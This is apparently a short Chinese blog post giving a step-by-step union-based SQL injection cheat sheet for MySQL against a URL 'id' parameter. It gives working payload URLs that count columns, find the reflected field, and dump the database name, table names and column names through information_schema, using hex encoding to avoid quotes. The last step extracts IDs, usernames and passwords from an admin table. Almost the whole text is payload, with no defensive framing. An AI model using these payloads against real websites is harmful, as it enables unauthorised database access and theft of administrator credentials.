Union注入

1.http://*id=31 order by 6 注:若6页面正常,7页面不正常,说明有6个字段

2.http://*id=31 and 1=2 union select 1,2,3,4,5,6 注:定位报错字段,若页面显示3

3.http://*id=31 and 1=2 union select 1,2,database(),4,5,6 from information_schema.tables where table_schema=database()#
注:database()暴出当前库名。from后是mysql默认为名(若是access则自己猜)

http://*id=31 and 1=2 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=0x61706861636B5F64616261# 注:暴出库中表名。最后的十六进制是aphack_data库(这里用十六进制是用来绕过双引号)

http://*id=31 and 1=2 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name=0x61646D696E# 注:暴出表中字段。十六进制是admin表

http://*id=31 and 1=2 union select 1,2,group_concat(ID,0x3a,User,0x3a,Passwd,0x3a,UserName) ,4,5,6 from admin# 注:直接暴出admin表中字段id,user,passwd,username内容。这里0x3a代表“:号”,为了分隔各个字段返回结果

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值